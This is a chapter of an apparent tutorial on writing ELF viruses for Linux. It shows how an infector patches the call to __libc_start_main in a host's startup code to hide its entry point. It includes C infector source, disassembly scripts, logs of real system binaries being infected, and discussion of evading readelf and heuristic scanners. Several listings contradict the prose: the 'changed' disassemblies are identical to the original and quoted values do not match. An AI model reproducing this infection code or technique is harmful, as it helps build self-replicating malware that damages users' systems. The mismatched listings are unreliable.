10. The entry point

 

The longest part of the journey is said to be the passing of the gate.

 Marcus Terentius Varro

If we decide to leave entry_point as it is, we have to patch something else. One approach is to disassemble the code, starting at entry_point, find the first call (or jmp) and abuse it. This requires way too much intelligence for a virus, though. But then we are operating in a homogeneous environment, having one compiler and one C run-time library for all. The startup code should be the same for every executable.

Command: pre/i386-redhat8.0-linux/entry_point/gdb/Linux.sh
#!/bin/bash
pre/i386-redhat8.0-linux/entry_point/gdb_core.sh \
| pre/i386-redhat8.0-linux/magic_elf/gdb_format.pl

We work on the shell found in A kingdom for a shell. The tool from Extracting e_entry retrieves the entry point. On some shells a read from a pipe opens a sub-shell, i.e. it does not export the variables to the surrounding scope. The while loop is executed just once. Its only purpose is to build a block for read.

Command: pre/i386-redhat8.0-linux/entry_point/gdb_core.sh
#!/bin/bash
shell=$( /bin/sed 1q \
	out/i386-redhat8.0-linux/scanner/segment_padding/infect )

tmp/i386-redhat8.0-linux/evil_magic/e_entry ${shell} \
| while read entry_point offset
do
  /bin/echo "[entry_point=${entry_point}]"
  /usr/bin/gdb ${shell} -q <<EOT 2>&1
	set disassembly-flavor intel
	break *0x${entry_point}
	run
	disassemble 0x${entry_point} 0x${entry_point}+0x100
EOT
done

Output: out/i386-redhat8.0-linux/entry_point/sh.gdb
(gdb) Starting program:       /bin/tcsh     
0x804a130 <_start>:           xor           ebp,ebp
0x804a132 <_start+2>:         pop           esi
0x804a133 <_start+3>:         mov           ecx,esp
0x804a135 <_start+5>:         and           esp,0xfffffff0
0x804a138 <_start+8>:         push          eax
0x804a139 <_start+9>:         push          esp
0x804a13a <_start+10>:        push          edx
0x804a13b <_start+11>:        push          0x808a71c
0x804a140 <_start+16>:        push          0x8049960
0x804a145 <_start+21>:        push          ecx
0x804a146 <_start+22>:        push          esi
0x804a147 <_start+23>:        push          0x804a1f0
0x804a14c <_start+28>:        call          0x8049e18 <__libc_start_main>
0x804a151 <_start+33>:        hlt           

10.1. Disassemble it again, Sam

Of course we have to implement a check whether the code at the entry address really looks like above output. Just in case the target is already infected (by a superior virus). This can be implemented as a comparison of target code and infector code, i.e. without any opcode constants in the virus code. For that approach we only need offset and size, not actual opcodes. But I will feel better after I have them straight in front of me. And ndisasm(1) starts counting with zero, which demands less brain activity.

Command: pre/i386-redhat8.0-linux/entry_point/intel.sh
#!/bin/bash
shell=$( /bin/sed 1q \
	out/i386-redhat8.0-linux/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit -1

tmp/i386-redhat8.0-linux/evil_magic/e_entry ${shell} \
| while read entry_point offset
do
  /usr/bin/ndisasm -e "${offset}" -o "0x${entry_point}" -U "${shell}" \
  | /usr/bin/perl -ne "print $_; exit if m/\b(ret|hlt)\b/;"
done

Output: out/i386-redhat8.0-linux/entry_point/sh.disasm
0804A130  31ED              xor ebp,ebp
0804A132  5E                pop esi
0804A133  89E1              mov ecx,esp
0804A135  83E4F0            and esp,byte -0x10
0804A138  50                push eax
0804A139  54                push esp
0804A13A  52                push edx
0804A13B  681CA70808        push dword 0x808a71c
0804A140  6860990408        push dword 0x8049960
0804A145  51                push ecx
0804A146  56                push esi
0804A147  68F0A10408        push dword 0x804a1f0
0804A14C  E8C7FCFFFF        call 0x8049e18
0804A151  F4                hlt

10.2. target_patch_entry_addr #2

There is one remaining issue. Elf32_Ehdr::e_entry is an absolute address, as is the value popped off the stack by ret. The operand of call and jmp is encoded relative to the location of the following instruction, however. The following is taken from the documentation of nasm. [1]

CALL imm                      ; E8 rw/rd             [8086]

[…] The codes rb, rw and rd indicate that one of the operands to the instruction is an immediate value, and that the difference between this value and the address of the end of the instruction is to be encoded as a byte, word or double word respectively. Where the form rw/rd appears, it indicates that either rw or rd should be used according to whether assembly is being performed in BITS 16 or BITS 32 state respectively.

Source: src/one_step_closer/get_entry_code.inc
unsigned char* target_get_entry_code(const Target* t)
{
  TRACE_DEBUG(-1, "target_get_entry_code %08x\n", TEVWH_ELF_BASE);

  return t->image.b + (t->image.ehdr->e_entry - TEVWH_ELF_BASE);
}

Source: src/one_step_closer/e2/patch_entry_addr.inc
bool target_patch_entry_addr(Target* t)
{
  unsigned char* self_entry_code = (unsigned char*)SELF->e_entry;
  unsigned char* target_entry_code;
  int beyond_the_call;
  int* patch_point;

  TRACE_DEBUG(-1, "target_patch_entry_addr\n");

  target_entry_code = target_get_entry_code(t);
  CHECK(DEBUG, memcmp(self_entry_code, target_entry_code, 0xc), ==, 0);

  /* check for "call" */
  CHECK(DEBUG, self_entry_code[0x1c], ==, target_entry_code[0x1c]);

  /* check for "hlt" */
  CHECK(DEBUG, self_entry_code[0x21], ==, target_entry_code[0x21]);

  beyond_the_call = t->image.ehdr->e_entry + 0x21; 
  patch_point = (int*)(target_entry_code + 0x1D);
  t->original_entry = beyond_the_call + *patch_point;
  *patch_point = target_new_entry_addr(t) - beyond_the_call;
  TRACE_DEBUG(-1, "*patch_point=%08x\n", *patch_point);

  return true;
}

Output: out/i386-redhat8.0-linux/segment_padding/e2i1/infect
/bin/tcsh ... wrote 26 bytes, Ok
/bin/ash.static ... wrote 26 bytes, Ok
/bin/sync ... wrote 26 bytes, Ok
files=3; ok=3; failed=0

Output: out/i386-redhat8.0-linux/segment_padding/test-e2i1
ELFpid=[22423]
TERM=[xterm]
ELF22448
ELF---
ELF22453

10.3. Second verse, same as the first

Output looks nice, but we had that already. What has increased code size and complexity gained us?

Source: pre/i386-redhat8.0-linux/entry_point/entry_point.sh
#!/bin/bash
tmp/i386-redhat8.0-linux/evil_magic/e_entry \
	/bin/bash \
	tmp/i386-redhat8.0-linux/one_step_closer/e1i1/sh_infected \
	tmp/i386-redhat8.0-linux/one_step_closer/e2i1/sh_infected

Output: out/i386-redhat8.0-linux/entry_point/entry_point
805a740 75584

OK. One vulnerability of the infection is not visible to readelf(1) anymore. But does that really help? It's still possible to write a heuristic scanner for it. All it takes is to verify the operand of call shown in the disassembly listing.

Output: out/i386-redhat8.0-linux/entry_point/e2.disasm
0804A130  31ED              xor ebp,ebp
0804A132  5E                pop esi
0804A133  89E1              mov ecx,esp
0804A135  83E4F0            and esp,byte -0x10
0804A138  50                push eax
0804A139  54                push esp
0804A13A  52                push edx
0804A13B  681CA70808        push dword 0x808a71c
0804A140  6860990408        push dword 0x8049960
0804A145  51                push ecx
0804A146  56                push esi
0804A147  68F0A10408        push dword 0x804a1f0
0804A14C  E8C7FCFFFF        call 0x8049e18
0804A151  F4                hlt

Original value is 0x8049e18, which resolves into a shared library. The new value is local to the executable and easy to spot: 0x8049e18. So what's the point?

10.4. Use the Source, Luke

gdb(1) revealed us the name of the function whose call we abused: __libc_start_main. I can't help thinking that it is part of glibc, but don't be hasty.

Command: pre/i386-redhat8.0-linux/entry_point/ldd.sh
#!/bin/bash
shell=$( /bin/sed 1q \
	out/i386-redhat8.0-linux/scanner/segment_padding/infect )
/bin/echo "${shell}"
/usr/bin/ldd /bin/bash	

Output: out/i386-redhat8.0-linux/entry_point/ldd
/bin/tcsh
	libtermcap.so.2 => /lib/libtermcap.so.2 (0x40021000)
	libdl.so.2 => /lib/libdl.so.2 (0x40025000)
	libc.so.6 => /lib/libc.so.6 (0x40028000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Now that we have a filename we can search the function in the library.

Command: pre/i386-redhat8.0-linux/entry_point/nm.sh
#!/bin/bash
shell=$( /bin/sed 1q \
        out/i386-redhat8.0-linux/scanner/segment_padding/infect )
library=$(
  /usr/bin/ldd "${shell}" \
  | /usr/bin/perl -ane 'm/\blibc\b/ && print $F[2];'
)
/usr/bin/nm -D ${library} --line-numbers --no-sort \
| /bin/grep __libc_start_main

Output: out/i386-redhat8.0-linux/entry_point/nm
00015444 T __libc_start_main

First class service. We even got a line number from nm(1).

Source: src/entry_point/__libc_start_main
# /usr/src/redhat/SOURCES/glibc-2.2.4/csu/../sysdeps/generic/libc-start.c

    46	int
    47	/* GKM FIXME: GCC: this should get __BP_ prefix by virtue of the
    48	   BPs in the arglist of startup_info.main and startup_info.init. */
    49	BP_SYM (__libc_start_main) (int (*main) (int, char **, char **),
    50			   int argc, char *__unbounded *__unbounded ubp_av,
    51			   void (*init) (void), void (*fini) (void),
    52			   void (*rtld_fini) (void), void *__unbounded stack_end)
    53	{

If you have a procedure with 10 parameters, you probably missed some (according to an old saying).

Let's see what this declaration tells about the disassembled code. For one thing, arguments are pushed in reverse order on the stack. This is the traditional way of the C. It allows easy implementation of functions like printf(3) that take an arbitrary number of arguments. Actual values for arguments: main = 0x0, init = 0x0, fini = 0x0.

The case of rtld_fini needs more documentation. [2] A comment from glibc's /usr/include/asm/elf.h:

/* SVR4/i386 ABI (pages 3-31, 3-32) says that when the program
    starts %edx contains a pointer to a function
    which might be registered using atexit.
    This provides a mean for the dynamic linker to call
    DT_FINI functions for shared libraries that
    have been loaded before the code runs.
    A value of 0 tells we have no such handler.

Anyway, even without looking at the complete source of __libc_start_main I would guess that each of these function pointers is invoked at some time. Efforts are concentrated on main.

10.5. target_patch_entry_addr #3

10.6. Two is company, three is an orgy

We see the same nice output again and again. So what's different this time?

Output: out/i386-redhat8.0-linux/entry_point/e3.disasm
0804A130  31ED              xor ebp,ebp
0804A132  5E                pop esi
0804A133  89E1              mov ecx,esp
0804A135  83E4F0            and esp,byte -0x10
0804A138  50                push eax
0804A139  54                push esp
0804A13A  52                push edx
0804A13B  681CA70808        push dword 0x808a71c
0804A140  6860990408        push dword 0x8049960
0804A145  51                push ecx
0804A146  56                push esi
0804A147  68F0A10408        push dword 0x804a1f0
0804A14C  E8C7FCFFFF        call 0x8049e18
0804A151  F4                hlt

The difference to the original is less obvious. Both values of main are local to the executable. But again the modified value is less than 4096 bytes from the end of the code segment.

It seems that we achieved little. But the concept of studying source code to find patch points looks promising.

Notes

[1]

Section A.2 at http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.2 and A.13 at http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.13.

[2]

http://linuxassembly.org//articles/startup.html